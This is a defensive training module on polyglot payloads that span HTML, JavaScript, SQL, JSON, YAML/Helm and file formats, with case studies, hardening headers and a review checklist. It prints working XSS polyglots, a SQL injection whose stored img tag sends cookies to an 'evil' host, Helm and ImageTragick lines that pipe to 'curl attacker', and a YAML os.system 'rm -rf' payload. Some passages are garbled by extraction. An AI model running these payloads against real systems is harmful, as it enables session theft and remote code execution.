01 //What Is a Polyglot Payload?
A polyglot payload is a single byte sequence that is valid input to more than one parser at the same time. The same string parses as HTML and as JavaScript; the same file opens as a PDF and a ZIP; the same config loads as valid YAML and valid JSON. Attackers craft polyglots because modern defences are layered: a WAF looks at one grammar, a server-side encoder at another, a browser at a third, a stored-data consumer at a fourth. A payload that satisfies every grammar gets waved through every layer, and the attacker's code runs wherever the weakest link decides to execute it.
Polyglots are often confused with parser differentials, but the two are structurally opposite. A parser differential is an input where two parsers disagree about the meaning of the same bytes — the attacker hides in the gap between interpretations. A polyglot is an input where every parser agrees the bytes are well-formed — the attacker wins because each parser happily extracts a different meaningful program from the same text. Reviewing for one class sharpens your eye for the other, but the fix patterns are different.
";!--"<XSS>=&{} // a single byte string, fed to five parsers<XSS> — an unknown tag, but a valid one. Attribute state accepts ;!-- as junk.-- is fine), and a label.{, then accepts whatever block follows.-- line comment, everything after it ignored until newline.The diagram above is the fundamental shape: one input, multiple grammar-checkers, each one independently happy. The attacker does not need the checkers to disagree; they need them to all agree that the input is fine, while each also executing a useful fragment of it. The review discipline, as we will see, is to stop relying on grammar-level acceptance as a security signal and start pinning outputs to one grammar at a time — with CSP, with strict Content-Type plus nosniff, with typed parsers that reject ambiguity, and with strong output encoders that know their exact target context.
A reviewer flags a payload that passes WAF, passes the server-side HTML encoder, and yet fires an alert when rendered in the browser. They call it a 'WAF bypass'. What framing is more useful?
02 //Classic XSS Polyglots
The canonical XSS polyglot is the payload by Ahmed Elsobky (@0xSobky), later refined by Gareth Heyes, that fires in every major injection context a web app exposes: HTML body, HTML attribute (single, double, and unquoted), javascript: URL, <script> block, <style>, <title>, <textarea>, and SVG. It is the single most useful piece of test content a reviewer can hand to a new scanner: if it fires on a page, that page is exploitable somewhere.
1jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
2
3# How each segment is engineered:
4# jaVasCript: -> survives href/src/action contexts as a javascript: URL
5# /* ... */ -> JS block comment; ignored by JS, passed by HTML tokenizer
6# ` and \` -> template-literal close to survive backticked string context
7# ' and " -> close single- and double-quoted JS string contexts
8# (/* */oNcliCk=alert() ) -> HTML attribute; mixed case to bypass naive case-sensitive filters
9# //%0D%0A%0d%0a// -> CR/LF terminator for javascript:-URL line comment
10# </stYle/</titLe/</teXtarEa/ -> breaks out of raw-text elements that normally swallow tags
11# </scRipt/--!> -> breaks out of <script> blocks, tolerates HTML --!> quirk
12# \x3csVg/<sVg/oNloAd=alert() -> two SVG vectors; one hex-encoded for attribute contexts
13# //>\x3e -> trailing comment + > to close whatever tag consumed the prefixNotice what makes it a polyglot rather than just a long attack string. Every segment is either (a) valid syntax in the grammar of the context it is targeting, or (b) comment/whitespace in grammars where it is not active. The mixed case (oNcliCk, jaVasCript) is not accidental: HTML attribute names are ASCII-case-insensitive, JS identifiers are case-sensitive. A regex filter written for one grammar misses the payload in the other.
contexts the polyglot covers
| Context | How it fires | What the filter missed |
|---|---|---|
| HTML body (unescaped) | <sVg/oNloAd=alert()> lands as an inline SVG event handler. | Filter stripped <script> but not <svg>. |
| HTML attribute (double-quoted) | " closes the value; oNcliCk=alert() is a new attribute. | Encoder did not escape the closing quote for the specific quote style in use. |
| HTML attribute (single-quoted) | Same trick with '; mixed-case event name bypasses lowercase deny-lists. | Deny-list of event handlers was case-sensitive. |
javascript: URL (href, formaction) | Entire string parses as a JS expression — the oNcliCk= is a label plus assignment, alert() runs. | Validator checked the scheme was http(s) by string prefix, so a mixed-case scheme slipped through. |
Inside <script> / template literal | Backtick and quote close the surrounding string; the rest executes. | Template literal was built by string concatenation rather than a tagged template. |
Inside <style> / <title> / <textarea> | The </tag> sequences break out of raw-text elements. | Output was placed in a raw-text element, where HTML encoding does not help. |
title attribute yesterday becomes a srcdoc tomorrow. A single payload that fires in all contexts is how you find the one context you forgot about.A scanner reports that the Heyes polyglot fires on a profile page when set as the user's display name. The server-side encoder is HTML-entity-escaping the display name before rendering. Why does the payload still execute?
03 //JS + HTML + Attribute Contexts
The richest polyglot territory is the seam between HTML attribute state and JavaScript. HTML attribute values are parsed by a tokeniser that handles quoting, entity decoding, and state transitions; the value of an event-handler attribute or a javascript: URL is then handed to the JS engine for evaluation. Each grammar has rules the other ignores, and polyglots live in the overlap.
" onfocus=alert(1) autofocus x="
- State: attribute-value (double-quoted)
- Reads
"→ ends the current attribute value - Reads
onfocus→ new attribute name - Reads
=alert(1)→ its value - Reads
autofocus→ second boolean attribute
- State: source text
- Never reaches it —
alert(1)never enters a JS context - The string is not parsed as JS at all
- It is executed because the HTML parser promoted it into one
- State: thinks the output is an attribute value
- Escapes
<,>,& - Does not escape the closing
" - Ships the payload unchanged into HTML
1<!-- The template: -->
2<input type="text" value="USER_INPUT">
3
4<!-- USER_INPUT = " onfocus=alert(1) autofocus x=" -->
5
6<!-- After server-side templating: -->
7<input type="text" value="" onfocus=alert(1) autofocus x="">
8
9<!-- What the HTML tokeniser sees:
10 type="text" attribute #1 (unchanged)
11 value="" attribute #2 (closed by injected ")
12 onfocus=alert(1) attribute #3 (new event handler)
13 autofocus attribute #4 (boolean)
14 x="" attribute #5 (trailing garbage, harmless)
15 The <input> now auto-focuses and fires alert(1) on render. -->The injected bytes have not a single HTML-special character the encoder is likely to escape: no <, no >, no &. The only "bad" character is the straight double-quote, and encoders often pass it through untouched when they were written for an HTML-body context (where " has no special meaning). This is how an encoder that is "working correctly" still ships a stored XSS.
1<!-- href: the value is re-parsed as a URL, then again as JS if scheme is javascript: -->
2<a href="USER_INPUT">...</a>
3<!-- USER_INPUT = jaVasCript:alert(1) -->
4<!-- Bypass: scheme check used startswith('http'), missed mixed case -->
5
6<!-- src on an iframe: same re-parse as URL, even stricter CSP context -->
7<iframe src="USER_INPUT"></iframe>
8<!-- USER_INPUT = data:text/html,<script>alert(1)</script> -->
9<!-- Bypass: validator allowlisted "https://" but the encoder did not touch the data: scheme -->
10
11<!-- srcdoc: the ENTIRE attribute value is re-parsed as an HTML document -->
12<iframe srcdoc="USER_INPUT"></iframe>
13<!-- USER_INPUT = <script>alert(1)</script> -->
14<!-- Bypass: HTML entities survive the outer encoder, then the browser DECODES them
15 when it re-parses srcdoc, yielding a live <script> inside the inner document -->srcdoc (HTML), style (CSS), href (URL, with optional JS via javascript:) — is a polyglot goldmine. The outer parser (HTML attribute) and the inner parser (the attribute's own grammar) each apply their own escape/decode rules, and attacker bytes can cross the boundary. Treat every such sink as a two-step output and encode for both steps, or better, do not pass user data to them at all.A diff adds `<iframe srcdoc={userBio}>` to a profile component. The bio field is already HTML-entity-escaped at the boundary. Is this safe?
04 //SQLi + XSS Combined Payloads
A polyglot payload that is simultaneously a valid SQL fragment and a valid HTML snippet lets an attacker turn one injection into two. The classic form is stored XSS delivered through SQL injection: the SQLi inserts attacker-controlled bytes into a database column, and the stored value is later rendered in an admin dashboard or customer-support tool. Because the two injection points are on different pages with different defences, a single polyglot bypasses both.
1-- The attacker controls the 'search' parameter of a public endpoint.
2-- The server builds a query by string concatenation (the original bug).
3SELECT id, name FROM users
4WHERE name LIKE '%SEARCH%';
5
6-- Attacker input:
7-- %'); INSERT INTO users(name, role) VALUES
8-- ('<img src=x onerror=fetch("//evil/"+document.cookie)>', 'admin'); --
9
10-- The resulting statement (after concat):
11SELECT id, name FROM users
12WHERE name LIKE '%%'); INSERT INTO users(name, role) VALUES
13('<img src=x onerror=fetch("//evil/"+document.cookie)>', 'admin'); --%';
14
15-- Two things happen:
16-- 1. A new admin user is created, whose "name" is an HTML <img> tag.
17-- 2. Nothing on this page renders the name; the SQLi succeeds silently.1<!-- On the admin user-management page, the new row is rendered: -->
2<tr>
3 <td>4711</td>
4 <td><img src=x onerror=fetch("//evil/"+document.cookie)></td>
5 <td>admin</td>
6</tr>
7
8<!-- The admin template used {{ user.name | raw }} because it "was trusted server data".
9 The image fails to load, onerror fires, the admin's session cookie is exfiltrated. -->The two injections are often reviewed by different teams. The SQLi reviewer sees a query on a public endpoint and thinks "parameterised query, shrug, fix it next sprint." The XSS reviewer sees an admin-only page and thinks "trusted internal data, skip the encoder." Each is half-right; the polyglot weaves them into a full compromise. The review rule is universal: no data is "trusted" on the read path simply because writes to it were supposed to be validated on a different page.
&, <) and gives a false sense of security — the right fix is parameterised queries and context-aware output encoding at render time, not string-stuffing the data at rest. Defence in depth is not the same as duplicate encoding.- SQLi + SSTI: stored Jinja/Twig/ERB tags survive until an admin page renders them through a template engine.
- SQLi + CSV injection: a stored value beginning with
=,+,@, or-becomes an active formula when exported to Excel. - SQLi + log injection: newlines plus fake log lines land in an ELK pipeline that does not sanitise on read.
- SQLi + email injection:
\r\nBcc:headers survive in a stored template and fire the next time a notification is sent. - ORM query fragment + raw SQL polyglot: a string that is a valid ORM filter and a SQL injection for the underlying driver when the ORM falls back to raw.
A reviewer finds a stored value in a users table that reads `<img src=x onerror=...>`. The public endpoint that accepts name updates uses parameterised queries and rejects anything longer than 80 characters. Where did the polyglot come from?
06 //JSON + JS + HTML Ambiguity
JSON was designed as a subset of JavaScript. For a long time that made eval() a tempting parser, and it is still true that any valid JSON is valid JavaScript. The consequence is an entire polyglot family: inputs that are simultaneously valid JSON, valid JS, and — if the response Content-Type is wrong — parseable as HTML by a browser that falls back to sniffing.
1// An endpoint returns what the developer thinks is "just data":
2// GET /api/profile -> {"name": "alice", "cb": "notify"}
3//
4// Another page on another origin embeds it via <script src>:
5// <script src="https://victim.example/api/profile"></script>
6//
7// Because the response Content-Type is text/html (wrong), or missing, or the
8// server failed to set X-Content-Type-Options: nosniff, AND because the top-level
9// JSON literal parses as a valid JavaScript expression-statement with side
10// effects via getters, the attacker reads the object contents cross-origin.
11// This is the JSONP-without-consent family ("JSON hijacking").
12//
13// Mitigation has been standard for a decade but still fails in the wild:
14//
15// 1. Always set Content-Type: application/json; charset=utf-8
16// 2. Always set X-Content-Type-Options: nosniff
17// 3. Never begin a JSON response with a top-level array (legacy Firefox/Safari
18// issue) — always wrap in an object
19// 4. For sensitive responses, prefix with )]}', which breaks script-src eval
20// but is stripped by your client-side fetch wrapper
21// 5. Require a custom header or SameSite=Strict cookie on reads
22//
23// Skip any of these and an attacker's page can `new Function(response)` you.The polyglot sharpens when the JSON contains attacker-controlled strings. Consider a profile endpoint whose bio field is user-provided. A response like {"bio": "</script><img onerror=alert(1) src=x>"} is perfectly valid JSON. If a browser sniffs the response as HTML (because Content-Type is text/html or missing and nosniff is absent), the </script><img> turns into a live DOM node. The bytes are a single polyglot: valid JSON and valid HTML.
1HTTP/1.1 200 OK
2Content-Type: application/json; charset=utf-8
3X-Content-Type-Options: nosniff
4Cache-Control: no-store
5
6{"bio":"</script><img onerror=alert(1) src=x>"}
7
8# With both headers:
9# - Modern browsers REFUSE to sniff the response as HTML or as script.
10# - Embedding the URL via <script src> produces a Content-Type blocking error.
11# - Rendering the URL directly in a window shows raw JSON, not executed HTML.
12#
13# Without nosniff:
14# - IE/legacy browsers sniff a small prefix of the body and, if it "looks like"
15# HTML, render it as such.
16# - Even some hardened browsers relaxed sniffing rules for compatibility.
17#
18# Without Content-Type:
19# - Worst case. Every client picks a default based on URL extension, body
20# contents, or cached rules, and attackers have a field day.+ADw-script+AD4- as <script>. BOMs (EF BB BF for UTF-8, FE FF for UTF-16) similarly flip a parser into a different mode. Always set an explicit charset, always set nosniff, and strip BOMs from user-provided input before it ever reaches an output buffer.An API returns user profile data as JSON with Content-Type: application/json but without X-Content-Type-Options: nosniff. The profile bio is user-provided. What is the attack?
07 //File-Format Polyglots: GIFAR, PDF+ZIP, JPG+JS
File formats are the highest-value polyglot target because every layer of the stack disagrees about how to identify them. Some parsers lock onto the first few bytes (magic numbers); some scan the end of the file (ZIP central directory); some use the file extension; some trust the MIME type given to them. A file that satisfies two or more of these identification methods simultaneously is a polyglot that can be uploaded as one type and executed as another.
offset 0x00 ─ %PDF-1.4 header
PDF object tree ─ streams, xref
shared payload ─ JS / image / archive
ZIP local hdrs ─ PK\x03\x04
EOF central dir ─ CD + EOCD- Reads
%PDF-1.4at offset 0 → valid PDF. - Walks the xref, loads objects, renders the document.
- Ignores the ZIP trailer — PDF allows arbitrary trailing bytes.
- Seeks from EOF for
EOCDsignature → finds central directory. - Reads the central directory, locates local headers.
- Ignores the PDF prefix — ZIP is defined by its trailer, not its start.
- GIFAR — GIF header + JAR (ZIP) trailer. Uploaded as an image, loaded by a Java applet tag, executes code. Retired by browsers disabling applets, but the pattern — image prefix + archive suffix — re-appears with every new plugin.
- PDF + ZIP — PDFs accept arbitrary trailing bytes; ZIPs find their central directory from the end. A single file renders as a legitimate PDF and unzips as a legitimate archive containing arbitrary data (including executables, phishing documents, or exploit payloads).
- JPG + JavaScript — JPEG metadata (COM and APP markers) accepts arbitrary bytes. A
<script>whosesrcpoints at an image URL is executed by older browsers that sniff type from content; modern browsers honourContent-Type, but internal tools (e.g. static-site generators, image CDNs) often do not. - PE + ISO / PE + MSI — Windows Portable Executables with embedded ISO or MSI trailers, used to evade mark-of-the-web by being downloaded as one type and mounted/run as another.
- HTML + XML + image — an SVG that is also valid HTML is the single most common modern polyglot: uploaded as an SVG image avatar, rendered by the admin browser as inline HTML, fires any JavaScript it contains.
- PDF + HTML — demonstrated by Portswigger: a file whose prefix is a valid PDF and whose body contains inline HTML is served with
Content-Type: application/pdfbut sniffed as HTML by a subset of clients, yielding stored XSS through an upload that the server correctly typed.
1# Build a single file that is a valid PDF and a valid ZIP.
2#
3# Technique: write a minimal PDF, then append a ZIP archive. PDF tolerates
4# trailing bytes (it indexes objects by offset via the xref table at the front).
5# ZIP tolerates prefix bytes (it locates its structure by scanning backward
6# from EOF for the end-of-central-directory signature PK\x05\x06).
7
8import zipfile, io
9
10def build_polyglot(pdf_bytes: bytes, archive_files: dict[str, bytes]) -> bytes:
11 # 1. Start with a real PDF body.
12 out = io.BytesIO()
13 out.write(pdf_bytes)
14
15 # 2. Append a real ZIP after the PDF. zipfile computes offsets relative to
16 # the start of what it is writing, so we feed it a BytesIO that starts
17 # after the PDF.
18 zip_buf = io.BytesIO()
19 with zipfile.ZipFile(zip_buf, "w", zipfile.ZIP_DEFLATED) as zf:
20 for name, data in archive_files.items():
21 zf.writestr(name, data)
22
23 out.write(zip_buf.getvalue())
24 return out.getvalue()
25
26# Verify:
27# $ file polyglot.out # -> PDF document
28# $ unzip -l polyglot.out # -> lists ZIP contents
29# $ python -c "import fitz; fitz.open('polyglot.out')" # -> valid PDF
30
31# This is benign for research. The attack surface appears when:
32# - A mail gateway scans for PDFs and ignores ZIP content (drops malicious PDFs).
33# - A file-share app types by extension .zip and lets users download archives
34# containing malware, while security review only checks PDFs.
35# - A LMS submits student work as PDF but runs ZIP extraction for one teacher
36# who "exports the submissions".Your upload endpoint accepts PDFs. It validates using the file's magic bytes (%PDF-) at offset 0 and serves the file with Content-Type: application/pdf and nosniff. An attacker uploads a PDF+ZIP polyglot. Which of the following is the real residual risk?
08 //Chosen-Prefix Collisions and MIME Sniffing Abuse
When polyglots meet cryptographic hashes, you get chosen-prefix collisions: two files with different contents but the same hash, where one is benign and the other is malicious. The most famous is the SHAttered attack (Marc Stevens et al., 2017), which produced two PDFs with identical SHA-1 but different visible content. The polyglot angle is that the collision technique works regardless of file format — the collision block is engineered, and the rest of the file is structured to tolerate it.
1# High-level shape only — real chosen-prefix attacks (e.g. HashClash for MD5
2# and SHA-1) take hours of GPU time per pair. What matters for review is the
3# structural pattern: you need a file format that tolerates an opaque blob
4# (PDF's embedded object, JPEG's COM segment, PNG's ancillary chunks, ZIP's
5# extra fields), and you need the "version" branch to come AFTER the blob.
6
7def collide_two_payloads(benign_behavior, evil_behavior):
8 # 1. Build two candidate files that share a prefix up to offset N.
9 # The prefix embeds a conditional: "read byte X at offset M".
10 prefix = build_conditional_prefix()
11
12 # 2. Run a chosen-prefix collision tool (HashClash, fastcoll, etc.) on
13 # the prefix. The tool produces two collision suffixes, different in
14 # content, such that H(prefix + suffix_A) == H(prefix + suffix_B).
15 suffix_a, suffix_b = run_chosen_prefix_tool(prefix)
16
17 # 3. Append the respective payloads (benign / evil) behind each suffix.
18 file_a = prefix + suffix_a + benign_behavior
19 file_b = prefix + suffix_b + evil_behavior
20
21 assert hash(file_a) == hash(file_b) # identical under the target hash
22 return file_a, file_b
23
24# Where this bites in production:
25# - Signing pipelines that hash-then-sign: sign the benign file, ship the evil.
26# - Update mechanisms that compare hashes before applying: accept the evil.
27# - Artifact registries (Docker, Maven) historically using SHA-1 were vulnerable.
28# - Code-signing cert CAs using MD5 in 2008 (Flame malware).
29#
30# The defence is NOT "pick a bigger hash and move on". It is to hash the SEMANTIC
31# content (canonicalised, re-serialised, re-rendered) rather than the on-disk bytes.historical MIME sniffing behaviour
| Client era | Sniffing behaviour | Polyglot leverage |
|---|---|---|
| IE 6 / 7 | Sniffs first 256 bytes aggressively; looks for <html, <script, shebang, magic bytes; overrides Content-Type often. | Any upload that stored bytes resembling HTML was renderable as HTML regardless of the server's Content-Type. |
| IE 8 / Firefox pre-50 | Respects X-Content-Type-Options: nosniff but defaults to sniff if absent. | Polyglots still win on every server that forgot the header (most of them, 2010-2015). |
| Chrome / Firefox (modern) | Honours Content-Type for text/*; sniffs for missing Content-Type; strict in same-origin script embedding contexts. | Limited in browsers, but secondary clients (antivirus, email previewers, sandbox detonators) often still sniff. |
| Curl / wget / bots / headless fetchers | Ignore Content-Type entirely; format is inferred by URL or by explicit caller decision. | Polyglot lives whenever an internal pipeline treats URL/extension as authoritative. |
| Office / iOS QuickLook / macOS preview | Use their own magic-byte databases, sometimes disagreeing with server Content-Type. | Spearphishing often targets these: a file that previews as innocuous PDF but executes when double-clicked. |
A supply-chain reviewer is evaluating a build system that stores artifact metadata as `{path, sha256}` and verifies hashes on deploy. Are chosen-prefix polyglots a concern here?
09 //Language-Confusion Polyglots: YAML / JSON / Helm
YAML is a superset of JSON. Helm charts are YAML produced by Go templates. Jinja-rendered files are often YAML or HTML. At every layer, the same file is simultaneously valid in two or more grammars, and a reviewer who reads only one grammar misses what the other does. The most damaging class in production is the template-injected config polyglot: a value that is a valid YAML string and a live template expression.
1# A file that is simultaneously valid YAML and valid JSON.
2# Every JSON document is valid YAML (YAML 1.2 is a strict superset).
3# But YAML features (anchors, tags, implicit types) have NO JSON equivalent.
4
5{
6 "users": [
7 {"name": "alice", "role": "admin"},
8 {"name": "bob", "role": "user"}
9 ]
10}
11
12# This JSON loads identically in yaml.safe_load and json.loads. Fine so far.
13# The polyglot attack: an attacker submits a "JSON" body that contains YAML
14# features the JSON parser ignores but the YAML loader acts on.
15#
16# Submitted:
17#
18# !!python/object/apply:os.system ["rm -rf /tmp/victim"]
19#
20# Valid YAML: constructs a Python object by calling os.system.
21# Valid JSON? No — this is NOT JSON. But an API that accepts JSON by
22# Content-Type and routes a YAML-ish fallback for "convenience" will happily
23# execute. Rails' YAML.load-for-cookies bug (CVE-2013-0156) is the canonical
24# example; every 2-3 years a new framework re-learns it.1# values.yaml supplied by a tenant in a multi-tenant Helm operator:
2app:
3 image: nginx
4 labels:
5 env: "{{ .Release.Namespace }}"
6 owner: "{{ .Values.owner }}"
7
8# tenant-provided override:
9#
10# owner: "alice\"}}\n{{ exec \"curl attacker/?$(whoami)\" }}\n{{ \""
11#
12# After Helm template rendering, this becomes valid Kubernetes YAML again,
13# but the renderer has executed the injected template expression. Helm's
14# sprig functions (including file read, env lookup) become an attacker-
15# controlled execution surface, and the rendered YAML that applies to the
16# cluster is, by construction, what the attacker wanted.
17#
18# The polyglot element:
19# - YAML parser on ingestion: accepts the value as a plain string.
20# - Helm template engine: accepts the value as valid Go template syntax.
21# - YAML parser on output: re-parses the rendered output as valid YAML.
22# Three parsers, three different meanings, one input.templatefile(), CloudFormation intrinsic functions — each one runs user data through a template engine and then through a structural parser. Polyglots live in the gap. The review rule: user-supplied template variables must be treated as inert strings from the outside, never as templates, and the template engine must escape for the target grammar on output.- YAML + Ruby/Python object deserialisation —
!!ruby/object,!!python/object/apply. Rails and Django have both shipped RCE bugs from this. - Markdown + HTML — Markdown renderers pass through HTML unless explicitly sanitised; a stored comment with
<img onerror>is valid Markdown and live HTML. - TOML + shell — rare, but any config with
#comments is a candidate for dual interpretation. - JSON + JSONP — valid JSON wrapped in a callback is valid JS; see the earlier section.
- Dockerfile + shell —
RUNdirectives and shell form commands let a single Dockerfile line be shell-interpreted at build time, with all the implications. - HCL + YAML — Terraform variables that are rendered into Kubernetes YAML inherit the polyglot chain described above.
A multi-tenant CI product lets tenants upload a `.gitlab-ci.yml`-style config. The parser uses yaml.safe_load. A reviewer claims 'safe_load is safe; we are good.' What polyglot risk remains?
10 //Real-World Case Studies
Polyglot bugs tend to live in products long enough to acquire their own legend. A handful of case studies illustrate the patterns above at production scale and demonstrate the shape of the fix better than any synthetic example.
'unsafe-eval' plus a JSONP endpoint on an allowed origin was, in practice, bypassing its own CSP. The attack was a classic polyglot: a JSONP callback that was simultaneously valid JSON and a live JavaScript assignment. Fix: drop 'unsafe-eval', drop JSONP endpoints, or strictly namespace them; strong CSP with nonces removed the class entirely. Lesson: CSP source lists, if too broad, become polyglot-permissive.title contexts exposed each new render site one by one. Structural fix: render user nicknames only through a single sanitisation function, at a single layer, enforced by tests."https://example.com" |curl attacker was simultaneously a valid filename (for the web server), a valid URL (for the delegate), and a valid shell pipeline. The fix was not "a better delegate list" but the removal of shell interpolation from the image path. The polyglot angle: the same bytes were "an image upload," "a URL," and "a shell command" depending on who read them.Content-Type: application/pdf. However, certain viewers — notably browser-native ones with JavaScript enabled — rendered the HTML portion. The fix required turning off same-origin privileges for uploaded files, typically by serving them from a cookie-less sandbox origin (uploads.example.com) with strict CSP. The polyglot showed that "correct upload validation" was not sufficient; isolation of the execution context was.Taking the case studies as a group, what is the common STRUCTURAL fix across CSP bypass, stored XSS, ImageTragick, and PDF-HTML upload?
11 //Detection and Defense
Because polyglots are defined by their ability to satisfy multiple grammars at once, the only durable defences are those that narrow the grammar at the output or isolate the execution context from the data. Below is the shortest list of controls that, taken together, remove the entire class.
- Strict
Content-Type+X-Content-Type-Options: nosniffon every response. Cost: one line of middleware. Benefit: closes JSON/HTML polyglot family and browser sniffing. - CSP with nonces or hashes; no
unsafe-inline, nounsafe-eval. Cost: one rollout and a handful of inline-script refactors. Benefit: inline XSS polyglots cannot execute even if they reach the DOM. - Isolated upload origin (
uploads.example.com) with strict CSP, no cookies, no same-origin privileges. Cost: a DNS record and a bucket. Benefit: file-format polyglots that execute still cannot read victim data. - Server-side re-encoding of all user uploads. Re-render PDFs with a canonical library, re-encode images via a transcoder that strips metadata, reject files that do not round-trip. Cost: CPU. Benefit: removes every file-format polyglot in a single pass.
- Typed parsers at boundaries. Parse JSON with
application/json-only, YAML withsafe_load, XML with DTD/entity expansion disabled, templates with strict variable escape. Cost: zero. Benefit: removes language-confusion polyglots at ingestion. - Single canonical sanitiser for stored user HTML, enforced by a lint rule and tests. Cost: one helper function. Benefit: removes the "stored XSS surfaces in a new render site" pattern.
- Differential fuzzing across your stack's parsers. For each (A, B) pair where A validates and B executes, fuzz for inputs both accept where their outputs diverge. This is the same technique used for parser differentials and it also finds polyglot surfaces. Cost: CI compute. Benefit: catches residual cases the controls above missed.
1# Main application origin (app.example.com)
2Content-Security-Policy:
3 default-src 'self';
4 script-src 'self' 'nonce-r4nd0m';
5 style-src 'self' 'nonce-r4nd0m';
6 img-src 'self' https://uploads.example.com;
7 frame-src 'none';
8 object-src 'none';
9 base-uri 'self';
10 form-action 'self';
11 frame-ancestors 'none';
12
13X-Content-Type-Options: nosniff
14Referrer-Policy: strict-origin-when-cross-origin
15
16# Upload origin (uploads.example.com) — cookie-less, CSP-sandboxed
17Content-Security-Policy:
18 default-src 'none';
19 sandbox;
20Cross-Origin-Resource-Policy: same-site
21X-Content-Type-Options: nosniff
22# No Set-Cookie. No session. No same-origin privileges.
23
24# The combination is load-bearing:
25# - nosniff prevents browser reinterpretation of JSON/PDF/etc. as HTML.
26# - CSP with nonces prevents inline script execution even when HTML is injected.
27# - The upload sandbox ensures any polyglot that slips through has no privileges.qpdf --linearize or a re-render. Images through a format-converting transcoder (JPEG → JPEG via Pillow or ImageMagick with safe delegate config). Video through a canonical re-mux. Every polyglot dies in this step, because re-encoding preserves one grammar and drops the others by construction.A reviewer is offered a trade: 'we can add a server-side re-encoder for uploads (expensive CPU), or we can add three more layers of upload validation (cheap).' Which is the right call from a polyglot-resistance standpoint?
Your team has shipped CSP with nonces, nosniff, and an isolated upload origin. A reviewer asks 'what still needs differential fuzzing?' What is the honest answer?
12 //Code-Review Checklist for Polyglot Resistance
Polyglot bugs blur across OWASP categories — they show up as XSS, as SSRF, as deserialisation, as file upload, as supply-chain. A reviewer who asks "is this XSS?" misses half of them. The question to ask instead is: "could any attacker-controlled input in this change be valid in a grammar other than the one the author expected?" The following checklist operationalises that question into greppable, reviewable items.
- Every HTTP response that carries structured data has
Content-Typeset precisely andX-Content-Type-Options: nosniff. - CSP is deployed, uses nonces or hashes for inline scripts, and forbids
unsafe-evalandunsafe-inline. Wildcard source lists (*,data:, broad CDN origins) are reviewed and removed where possible. - All user uploads are re-encoded server-side into a canonical form. Accept: image → Pillow transcode; PDF → qpdf or headless render; archive → extract + re-zip; SVG → sanitiser that strips
<script>and event handlers, or conversion to raster. - User-visible uploads are served from an isolated, cookie-less origin with its own strict CSP and
sandbox. - No output is placed in a raw-text element (
<script>,<style>,<title>,<textarea>,srcdoc) unless sanitised for that exact context. A lint rule enforces this. - Every place that renders user HTML calls a single canonical sanitiser. Grep the codebase for alternates and consolidate.
- No JSON endpoint begins a response with a top-level array. All JSON endpoints require a custom header or
SameSite=Strictsession cookie on reads. - Template engines escape for their target grammar on output: Helm charts, Jinja-to-YAML, Terraform
templatefile, CloudFormation intrinsics. User-controlled template variables are treated as inert strings at both ends. - All config parsers at boundaries are the strict variant:
yaml.safe_load, notyaml.load; JSON-only, not JSON-with-YAML-fallback; XML with DTD and external-entity resolution disabled. - Artifact hashing pipelines hash the exact bytes that run. Any intermediate re-signing, canonicalisation, or cleanup is reviewed for hash-divergence risk (chosen-prefix resistance).
- Differential fuzzing runs nightly on the key (validator, executor) pairs: URL validator vs HTTP client, HTML sanitiser vs browser, JSON parser vs SQL query builder, YAML loader vs shell dispatcher.
- For every injection bug found and fixed, the reviewer asks: "what other grammars could this same input have been valid in?" and files follow-up tickets before closing the original.
Content-Type + nosniff; kill inline execution with CSP nonces; regenerate user content through canonical encoders; isolate execution contexts with sandbox origins. The iterative fixes — better filters, more WAF rules, longer deny-lists — never finish, because the attacker iterates against them faster than the team can.Read this module alongside the Parser Differentials guide: the two are the mirror image of each other. Parser differentials are about two parsers disagreeing on one input; polyglots are about every parser agreeing on one input. Together they cover the majority of injection-style bugs that make it past "single-grammar" defences, and a reviewer who internalises both will catch the class wherever it hides.
05 //Comment-Syntax Polyglots
Most languages support more than one comment syntax, and the overlaps between languages are striking. A single physical line can be: a C-style line comment (
//) in JavaScript, a shell comment (#) in Python or Bash, a SQL line comment (--), or an HTML comment (<!-- -->). A polyglot exploits these overlaps to include executable code in one grammar while appearing inert in another.comment tokens across languages
//#--/* */<!-- --><script>, treated as line comment by HTML-embedded JS for legacy reasons)'''The practical security relevance is config files and CI inputs. A YAML file that is also a shell script (via
#comments and clever YAML folding) can be fed to bothyaml.safe_load()andbashwith two different meanings. A Markdown file that is also HTML (because Markdown passes through HTML) can contain an<img onerror>that renders live when a previewer skips sanitisation. The review rule is: if a file crosses a boundary where its interpreter might change, the file format must be committed at ingestion, not inferred at consumption.#!/bin/shat the top, with the rest of the file structured so thatshfalls through to anexec python3 "$0"line, so the file runs as shell first and hands itself to Python. It is benign when you write it on purpose, and a live bug when an uploaded file with a tolerated#!line lands on a system that inspects file type by extension alone.Your CI pipeline runs a user-supplied config file through yaml.safe_load() and, separately, through a custom 'comment extractor' that collects lines starting with '#' for documentation. What is the subtle polyglot risk?